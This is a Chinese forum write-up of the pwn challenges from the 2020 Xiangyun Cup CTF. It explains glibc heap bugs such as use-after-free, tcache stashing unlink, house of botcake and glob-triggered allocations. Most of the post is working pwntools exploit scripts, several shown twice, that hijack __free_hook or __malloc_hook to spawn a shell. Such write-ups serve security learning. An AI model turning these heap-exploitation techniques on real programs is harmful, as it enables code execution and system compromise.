首页
社区
课程
招聘
[原创]祥云杯2020 PWN 详解
发表于: 2020-11-26 15:16 9827

[原创]祥云杯2020 PWN 详解

2020-11-26 15:16
9827

Written by ScUpax0s

glibc 2.31

漏洞点在delete函数free的时候只清空了 size表中的LOWBYTE,如果size表中记录的是0x100这样的,就相当于没清,造成UAF。

并且申请0xf9会返回0x110,相当于可以获得0x110的chunk的UAF以及重复利用。

最后打 tcache stashing unlink,往buf_addr写一个main_arena地址即可。

这题非预期解有点多啊。

add开0x60(最多add 11次)

free后UAF,配合edit随便修改free chunk的指针

show输出8字节内容

fun_glob如下:

由于使用了scanf函数,而scanf函数,会调用 _IO_vfscanf (s, fmt, ap, errp);其中s是stdin,最后_IO_file_doallocate会调用malloc一个0x400的空间,作为stdin的缓冲区,然后把读入的内容放入缓冲区。

但是如果我们输入大于0x400长度的数字,此时没法全部放到stdin缓冲区里。他会再申请一次0x800的缓冲区,然后把缓冲区1中的内容拷贝过去。然后最后会把第二块缓冲区free掉。我们可以利用0x800这次申请,将fastbin中的chunk合并,获得一个smallbin中的chunk,泄露libc地址。

DYnPbj.png

main函数在一开始规定了add、free、edit等等的次数。但是 if(a){} 这样写的话,只有当a为0的时候不进if内,当a为负时会进if。所有所以可以在这个if里做一个减的溢出,这样我们add、edit、delete次数的限制就打开了(这里的break跳不出while循环,不知道是不是出题人故意留的漏洞)

然后bss的chunk table上方有stderr,可以错位构造一个0x7f把chunk申请过去,最后劫持chunk table打freehook传/bin/sh\x00即可

题目给了glob函数,而glob函数中 可以产生(但不一定) 一个很大的堆操作,可以获得一个大小为 0x8040的unsortedbi的chunk,再申请出来泄露地址即可。后面一样的。

调用链:

源码对应的在这里:

可以看到在 __alloc_dir 中一开始令:size_t allocation = default_allocation;而 default_allocation是 4 * BUFSIZ和sizeof (struct dirent64)中更大的那个。

最后malloc的大小为:sizeof (DIR) + allocation,DIR是目录结构体。

其中:

BUFSIZ为8192(0x2000)

经过实际调试这个sizeof(DIR)似乎是0x30。

经过我的测试,想要达成malloc(0x8030)我们可以通过给glob一个目录(带*通配),比如”./test/*“,或者exp*这种通配也可以。但是如果调用glob("exp.py")这种,就会越过 __alloc_dir 这一步操作。(翻译过来就是:“给目录分配空间orz”

而造成这个的原因在 glob_in_dir() 函数中使用:__glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));

做了一次匹配。

源码如下:

其中调用了:__glob_pattern_type() 做匹配

所以这里就非常清楚了。当存在“ * ”时,__glob_pattern_type() 返回1,进入最后的else,调用opendir,最终malloc(0x8030)

之后还会有类似如下的多个调用,取决于你要找的目录下面的文件:

具体开了多大取决于你文件名。这些chunk存储的是文件名字符串。然后还会开一张表这张表存储每个strdup开出来的位置。

最后会调用free把strdup开出来的chunkk全部free掉。然后最终free掉那张表。

本题主要考察: house_of_botcake配合tcache 灵活利用。

house of botcake实际就是通过overlap一个chunk同时放入ub和tc中,然后错位切割,劫持指针来做任意地址申请。

本题我们首先通过把一个合并后的大chunk放入ub和tc,利用uaf泄露地址。然后malloc 0x20切割一次。

而由于此时我们已经切割了一次0x20了,那么当我们再从ub里申请0x100时就会申请到heap+0x290位置的chunk(0x100大小),而如果把这个申请回来。再free出去就实现了:0x290 -> 0x370,由于add一次可以read 0x100,此时就可以劫持0x370处的next指针。

效果如下:

之后打freehook起system('/bin/sh\x00')

漏洞链接:https://sourceware.org/bugzilla/show_bug.cgi?id=25733 (要求glibc<=2.26)

漏洞成因:malloc_consolidate重复调用,导致top_chunk = unsortebin

mallopt会调用 malloc_consolidate (av);

PoC.c如下:

static void malloc_consolidate(mstate av) 源码如下

当此时的max fast为0时,会做 malloc_init_state(av) 再做初始化。

此时,会将top chunk的指针设置成 bin本身的地址。

可以打一个watch在unsortedbin对应的地址上查看。

发现是 malloc_init_state(av); 中的这一条命令造成的:

initial_top相当于bin_at,所以本质就是重复初始化了一遍,相当于自己对自己做了一个赋值

再malloc一次大于0x400的可以拿到一个main_arena上的chunk

所以这道题就很像一个根据这个PoC打的一个模板题了。我本来的想法是,首先构造出这样的,top chunk,mallopt调整fastbin大小为largechunk的大小,然后free出去此时会被挂在一个evil addr,然后我们再申请过去改fastbin指针,然后申请evilfastbin的大小达到任意申请。但是发现不可行,因为ub的地址没有对齐到2*size_t。

不过既然我们已经可以申请到main_arena上也就是libc里(mapped)的地址,那么就可以直接申请直到freehook覆盖为system即可,而freehook会在验证对齐之前调用,所以不用担心对齐的问题了。

这道题是我认为本次比赛最好玩的一道题

详细的逆向可以推荐看我传上来的ida文件。

write函数输出的是 newest_Init->v_ptr ,但是当连续两次调用Init后,会free掉之前create创建的Init 对象。由于此时没有调用add,所以记录的还是free之前的,然后调用show即可泄露地址(此时now_Create_obj->newest_Init存的是smallbin的fd),可以一次泄露heap和libc

通过多次的重复Init() 配合 add() 可以实现任意地址写。最后劫持strtolog的got为system,发送sh即可。(实际测试可能要多试几次)

这个题指针有点多,建议画个图

个人对linux内核中的linux_digent64结构体的理解

dirent和DIR 结构体 --- 表示文件夹中目录内容信息

Linux下DIR,dirent,stat等结构体详解(转)

https://elixir.bootlin.com/glibc/glibc-2.23/source/posix/glob.c#L1459

https://sourceware.org/bugzilla/show_bug.cgi?id=25733

 
 
 
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='4: Enjoy scenery'      # choice提示语
siz='size:'     # size输入提示语
con='chat:'         # content输入提示语
ind='idx:'      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='3'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
def big(c='666'):
    sal(cho,c)
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
def d():
    pause()
def exp():
    global io
    io = process(elf_path)
    #io = remote("112.126.71.170",43652)
    ru(b'A gift from ChangChun People\n')
    buf_addr = ((r(len('7f61db039000'))))
    buf_addr = int(buf_addr.decode(),16)
    success("buf_Addr:"+hex(buf_addr))
    #libc.address = buf_addr-0x232000
 
 
    add(0x100#0
    add(0xf9)   #1          
    add(0x100#2            # 0xf9对齐到0x110
 
    #add(0x80)   #2
    free(1)
    for i in range(7):
        add(0xf9)   
        free(1)     
 
    free(0)
    free(2)
    big()           # (0x110)smallbin: #2 -> #0
 
    # 用smallbin里的两个chunl拿到heap和libc
    show(2)
    ru("see\n")
    heap = u64(r(6).ljust(8,b'\x00')) - 0x290
    success("heap:"+hex(heap))
    show(0)
    libc.address = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-352-0x10-libc.sym['__malloc_hook']
    success("libc base:"+hex(libc.address))
 
    #add(0x100)       # 从满的tcahce里取一个,此时tcahce为6个
 
    # First time in magic: malloc(0x108)
    sl('5')
    sl('a'*8)
 
    # (0x110)smallbin: #2 -> #0
    # hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk)
    edit(2,p64(heap+0x290)+p64(buf_addr-0x10))
 
    add(0x100)
    pause()
    # 触发stashing,此时buf_addr被写上了bin的地址
    bin_addr = 0x1ebce0+libc.address
    edit(0,p64(bin_addr))
 
 
    sl('5')
    sl('0') # 此时0号chunk的一开始存了bin_addr
    shell()
 
 
 
exp()
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='4: Enjoy scenery'      # choice提示语
siz='size:'     # size输入提示语
con='chat:'         # content输入提示语
ind='idx:'      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='3'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
def big(c='666'):
    sal(cho,c)
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
def d():
    pause()
def exp():
    global io
    io = process(elf_path)
    #io = remote("112.126.71.170",43652)
    ru(b'A gift from ChangChun People\n')
    buf_addr = ((r(len('7f61db039000'))))
    buf_addr = int(buf_addr.decode(),16)
    success("buf_Addr:"+hex(buf_addr))
    #libc.address = buf_addr-0x232000
 
 
    add(0x100#0
    add(0xf9)   #1          
    add(0x100#2            # 0xf9对齐到0x110
 
    #add(0x80)   #2
    free(1)
    for i in range(7):
        add(0xf9)   
        free(1)     
 
    free(0)
    free(2)
    big()           # (0x110)smallbin: #2 -> #0
 
    # 用smallbin里的两个chunl拿到heap和libc
    show(2)
    ru("see\n")
    heap = u64(r(6).ljust(8,b'\x00')) - 0x290
    success("heap:"+hex(heap))
    show(0)
    libc.address = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-352-0x10-libc.sym['__malloc_hook']
    success("libc base:"+hex(libc.address))
 
    #add(0x100)       # 从满的tcahce里取一个,此时tcahce为6个
 
    # First time in magic: malloc(0x108)
    sl('5')
    sl('a'*8)
 
    # (0x110)smallbin: #2 -> #0
    # hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk)
    edit(2,p64(heap+0x290)+p64(buf_addr-0x10))
 
    add(0x100)
    pause()
    # 触发stashing,此时buf_addr被写上了bin的地址
    bin_addr = 0x1ebce0+libc.address
    edit(0,p64(bin_addr))
 
 
    sl('5')
    sl('0') # 此时0号chunk的一开始存了bin_addr
    shell()
 
 
 
exp()
unsigned __int64 fun_glob()
{
  signed int i; // [rsp+Ch] [rbp-104h]
  glob_t pglob; // [rsp+10h] [rbp-100h]
  char pattern[168]; // [rsp+60h] [rbp-B0h]
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 0xA5; ++i )
  {
    read(0, &pattern[i], 1uLL);
    if ( pattern[i] == '\n' )
    {
      pattern[i] = 0;
      break;
    }
  }
  memset(&pglob, 0, sizeof(pglob));
  if ( !glob(pattern, 0x1002, 0LL, &pglob) )
    globfree(&pglob);
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 fun_glob()
{
  signed int i; // [rsp+Ch] [rbp-104h]
  glob_t pglob; // [rsp+10h] [rbp-100h]
  char pattern[168]; // [rsp+60h] [rbp-B0h]
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 0xA5; ++i )
  {
    read(0, &pattern[i], 1uLL);
    if ( pattern[i] == '\n' )
    {
      pattern[i] = 0;
      break;
    }
  }
  memset(&pglob, 0, sizeof(pglob));
  if ( !glob(pattern, 0x1002, 0LL, &pglob) )
    globfree(&pglob);
  return __readfsqword(0x28u) ^ v4;
}
 
 
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    add() # 0
    add() # 1
    add() # 2
    free(0)
    free(1)
    sl('4')
    sl('9'*0x410)
 
    sl('4')
    sl('4')
    sl(str(0))
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    libc.address = leak - 296 - 0x10 - libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
    if libc.address >> 40 != 0x7F:
        raise Exception('error leak!')
 
    fake_addr = libc.sym['__malloc_hook']-0x23  #0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address
    #success("mallochook-0x23:"+hex(fake_addr))
    free(1)
    edit(1,p64(fake_addr))
    add()   #3
    add()   #4
    ogg = libc.address+0x4527a
    realloc = libc.sym['realloc']
    edit(4,'a'*0xb+p64(ogg)+p64(realloc+4))
    add()
    shell()
 
# exp()
 
 
while(1):
    try:   
        exp()
        io.close()
    except Exception:
        io.close()
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    add() # 0
    add() # 1
    add() # 2
    free(0)
    free(1)
    sl('4')
    sl('9'*0x410)
 
    sl('4')
    sl('4')
    sl(str(0))
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    libc.address = leak - 296 - 0x10 - libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
    if libc.address >> 40 != 0x7F:
        raise Exception('error leak!')
 
    fake_addr = libc.sym['__malloc_hook']-0x23  #0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address
    #success("mallochook-0x23:"+hex(fake_addr))
    free(1)
    edit(1,p64(fake_addr))
    add()   #3
    add()   #4
    ogg = libc.address+0x4527a
    realloc = libc.sym['realloc']
    edit(4,'a'*0xb+p64(ogg)+p64(realloc+4))
    add()
    shell()
 
# exp()
 
 
while(1):
    try:   
        exp()
        io.close()
    except Exception:
        io.close()
 
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
def exp():
    global io
    io = process(elf_path)
    #io = remote("8.131.69.237",45123)
    #io = remote("112.126.71.170",45123)
 
    # free、edit次数溢出
    for i in range(5):       
        free(11)
    for i in range(5):
        edit(11)
 
    add() # 0
    add() # 1
    free(0)
    free('1'*0x400)
    #shell()
 
    show(0)
    libc.address = u64(
        r(6).ljust(8,'\x00')
    )-184-0x10-libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
 
    mh = libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    system = libc.sym['system']
 
    add()   #2 smallbin里的拿回来, #2 = #0
    free(1)
    free(2)
 
    edit(2,p64(0x60203d))   # chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list
 
    add()
    add()
    add()
 
    success("fh:"+hex(fh))   
    edit(8,'\x00'*0x13+p64(fh))
    edit(0,p64(system))
 
    edit(1,'/bin/sh\x00')
#    free(1)
    #pause()
    free(1)
    shell() .
exp()
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
def exp():
    global io
    io = process(elf_path)
    #io = remote("8.131.69.237",45123)
    #io = remote("112.126.71.170",45123)
 
    # free、edit次数溢出
    for i in range(5):       
        free(11)
    for i in range(5):
        edit(11)
 
    add() # 0
    add() # 1
    free(0)
    free('1'*0x400)
    #shell()
 
    show(0)
    libc.address = u64(
        r(6).ljust(8,'\x00')
    )-184-0x10-libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
 
    mh = libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    system = libc.sym['system']
 
    add()   #2 smallbin里的拿回来, #2 = #0
    free(1)
    free(2)
 
    edit(2,p64(0x60203d))   # chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list
 
    add()
    add()
    add()
 
    success("fh:"+hex(fh))   
    edit(8,'\x00'*0x13+p64(fh))
    edit(0,p64(system))
 
    edit(1,'/bin/sh\x00')
#    free(1)
    #pause()
    free(1)
    shell() .
exp()
 
global io
io = process(elf_path)
glob("*"
pause()   
add()   # 0
add(1#1
 
show(1)
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x10-libc.sym['__malloc_hook']-1960
success("libc:"+hex(libc.address))
global io
io = process(elf_path)
glob("*"
pause()   
add()   # 0
add(1#1
 
show(1)
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x10-libc.sym['__malloc_hook']-1960
success("libc:"+hex(libc.address))
 
 
 
DIR *
internal_function
__alloc_dir (int fd, bool close_fd, int flags, const struct stat64 *statp)
{
 
   {
      if (__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC), 0) < 0)
    goto lose;
    }
 
  const size_t default_allocation = (4 * BUFSIZ < sizeof (struct dirent64)
                     ? sizeof (struct dirent64) : 4 * BUFSIZ);
  const size_t small_allocation = (BUFSIZ < sizeof (struct dirent64)
                   ? sizeof (struct dirent64) : BUFSIZ);
 
  size_t allocation = default_allocation;
 
 
  DIR *dirp = (DIR *) malloc (sizeof (DIR) + allocation);
DIR *
internal_function
__alloc_dir (int fd, bool close_fd, int flags, const struct stat64 *statp)
{
 
   {
      if (__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC), 0) < 0)
    goto lose;
    }
 
  const size_t default_allocation = (4 * BUFSIZ < sizeof (struct dirent64)
                     ? sizeof (struct dirent64) : 4 * BUFSIZ);
  const size_t small_allocation = (BUFSIZ < sizeof (struct dirent64)
                   ? sizeof (struct dirent64) : BUFSIZ);
 
  size_t allocation = default_allocation;
 
 
  DIR *dirp = (DIR *) malloc (sizeof (DIR) + allocation);
 
 
struct dirent64
  {
    __ino64_t d_ino;
    unsigned short int d_reclen;
    unsigned char d_type;
    unsigned char d_namlen;
 
    char d_name[1];
  };
struct dirent64
  {
    __ino64_t d_ino;
    unsigned short int d_reclen;
    unsigned char d_type;
    unsigned char d_namlen;
 
    char d_name[1];
  };
struct __dirstream    
   {    
    void *__fd;     
    char *__data;     
    int __entry_data;     
    char *__ptr;     
    int __entry_ptr;     
    size_t __allocation;     
    size_t __size;     
    __libc_lock_define (, __lock)     
   };    
 
typedef struct __dirstream DIR;
struct __dirstream    
   {    
    void *__fd;     
    char *__data;     
    int __entry_data;     
    char *__ptr;     
    int __entry_ptr;     
    size_t __allocation;     
    size_t __size;     
    __libc_lock_define (, __lock)     
   };    
 
typedef struct __dirstream DIR;
 
 
 
 
 
static int
glob_in_dir (const char *pattern, const char *directory, int flags,
         int (*errfunc) (const char *, int),
         glob_t *pglob, size_t alloca_used)
{
  size_t dirlen = strlen (directory);
  void *stream = NULL;
     /*
     这里省略一大串
 
     */
 
  meta = __glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));    //进行判断or匹配
  if (meta == 0 && (flags & (GLOB_NOCHECK|GLOB_NOMAGIC)))//第一种情况
    {
      flags |= GLOB_NOCHECK;
    }
  else if (meta == 0)//第二种情况
    {
      /*
      省略
      */
    }
  else                                                        //最后一种情况,就是在这里调用了opendir!
    {
      stream = (__builtin_expect (flags & GLOB_ALTDIRFUNC, 0)
        ? (*pglob->gl_opendir) (directory)
        : opendir (directory));
static int
glob_in_dir (const char *pattern, const char *directory, int flags,
         int (*errfunc) (const char *, int),
         glob_t *pglob, size_t alloca_used)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2020-11-26 22:11
0
游客
登录 | 注册 方可回帖
返回
//